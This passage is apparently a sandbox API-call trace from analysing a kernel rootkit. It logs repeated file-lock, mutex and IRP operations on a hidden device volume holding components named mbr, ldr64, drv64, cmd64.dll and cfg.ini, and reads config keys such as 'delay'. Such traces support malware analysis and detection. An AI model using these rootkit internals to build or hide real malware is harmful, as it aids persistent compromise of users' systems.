FastMutex=0xfffffa80027d3898) [0121.525] KeLeaveCriticalRegion () [0121.525] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.525] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.525] KeEnterCriticalRegion () [0121.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.525] ExFreePoolWithTag (P=0xfffffa8003bd6e60, Tag=0x0) [0121.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.525] KeLeaveCriticalRegion () [0121.525] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.525] ReleaseMutex (hMutex=0xf0) returned 1 [0121.525] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.525] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.525] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.525] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.525] KeEnterCriticalRegion () [0121.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.525] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.525] IdePortDispatch () returned 0x103 [0121.525] KeWaitForMutexObject () returned 0x0 [0121.525] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.525] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.525] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.525] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.526] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.526] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.526] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.526] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.526] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.526] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.526] KeLeaveCriticalRegion () [0121.526] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.526] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.526] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.526] KeEnterCriticalRegion () [0121.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.526] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.526] IdePortDispatch () returned 0x103 [0121.526] KeWaitForMutexObject () returned 0x0 [0121.526] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.526] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.526] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.526] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.526] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.526] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.526] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.526] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.526] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.526] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.526] KeLeaveCriticalRegion () [0121.526] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.527] ReleaseMutex (hMutex=0x100) returned 1 [0121.527] Sleep (dwMilliseconds=0x2bf20) [0121.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ba39070, dwHighDateTime=0x1d24fa4)) [0121.534] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.534] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.534] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.534] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.534] KeEnterCriticalRegion () [0121.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.534] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.534] IdePortDispatch () returned 0x103 [0121.534] KeWaitForMutexObject () returned 0x0 [0121.535] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.535] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.535] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.535] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.535] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.535] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.535] KeLeaveCriticalRegion () [0121.535] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.535] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.535] KeEnterCriticalRegion () [0121.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.535] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.535] KeLeaveCriticalRegion () [0121.535] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.535] KeEnterCriticalRegion () [0121.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.535] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.535] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.535] IdePortDispatch () returned 0x103 [0121.535] KeWaitForMutexObject () returned 0x0 [0121.535] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.535] KeLeaveCriticalRegion () [0121.535] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.535] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.535] KeEnterCriticalRegion () [0121.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.535] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4a000 [0121.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.535] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.535] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.535] IdePortDispatch () returned 0x103 [0121.536] KeWaitForMutexObject () returned 0x0 [0121.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.536] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.536] IdePortDispatch () returned 0x103 [0121.536] KeWaitForMutexObject () returned 0x0 [0121.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.536] KeLeaveCriticalRegion () [0121.536] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.536] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.536] KeEnterCriticalRegion () [0121.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.537] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.537] KeLeaveCriticalRegion () [0121.537] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.537] KeEnterCriticalRegion () [0121.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.537] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.537] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.537] KeLeaveCriticalRegion () [0121.537] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.537] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.537] KeEnterCriticalRegion () [0121.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.537] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.537] KeLeaveCriticalRegion () [0121.537] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.537] ReleaseMutex (hMutex=0xf0) returned 1 [0121.537] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.537] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.537] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.537] KeEnterCriticalRegion () [0121.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.537] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.537] IdePortDispatch () returned 0x103 [0121.537] KeWaitForMutexObject () returned 0x0 [0121.537] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.537] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.537] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.537] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.537] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.537] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5e50 [0121.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.537] KeLeaveCriticalRegion () [0121.537] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.538] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.538] KeEnterCriticalRegion () [0121.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.538] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.538] KeLeaveCriticalRegion () [0121.538] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.538] KeEnterCriticalRegion () [0121.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.538] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.538] IdePortDispatch () returned 0x103 [0121.538] KeWaitForMutexObject () returned 0x0 [0121.538] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.538] KeLeaveCriticalRegion () [0121.538] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.538] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.538] KeEnterCriticalRegion () [0121.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.538] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4b000 [0121.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.538] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.538] IdePortDispatch () returned 0x103 [0121.538] KeWaitForMutexObject () returned 0x0 [0121.539] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.539] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.539] IdePortDispatch () returned 0x103 [0121.539] KeWaitForMutexObject () returned 0x0 [0121.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.539] KeLeaveCriticalRegion () [0121.539] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.539] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.539] KeEnterCriticalRegion () [0121.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.539] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.539] KeLeaveCriticalRegion () [0121.539] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.539] KeEnterCriticalRegion () [0121.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.539] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.539] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.539] KeLeaveCriticalRegion () [0121.540] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.540] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.540] KeEnterCriticalRegion () [0121.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.540] ExFreePoolWithTag (P=0xfffffa8003bc5e50, Tag=0x0) [0121.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.540] KeLeaveCriticalRegion () [0121.540] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.540] ReleaseMutex (hMutex=0xf0) returned 1 [0121.540] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.540] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.540] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.540] KeEnterCriticalRegion () [0121.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.540] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.540] IdePortDispatch () returned 0x103 [0121.540] KeWaitForMutexObject () returned 0x0 [0121.540] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.540] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.540] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.540] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.540] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.540] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6eb0 [0121.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.540] KeLeaveCriticalRegion () [0121.540] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.540] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.540] KeEnterCriticalRegion () [0121.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.540] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.540] KeLeaveCriticalRegion () [0121.540] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.541] KeEnterCriticalRegion () [0121.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.541] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.541] IdePortDispatch () returned 0x103 [0121.541] KeWaitForMutexObject () returned 0x0 [0121.541] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.541] KeLeaveCriticalRegion () [0121.541] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.541] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | 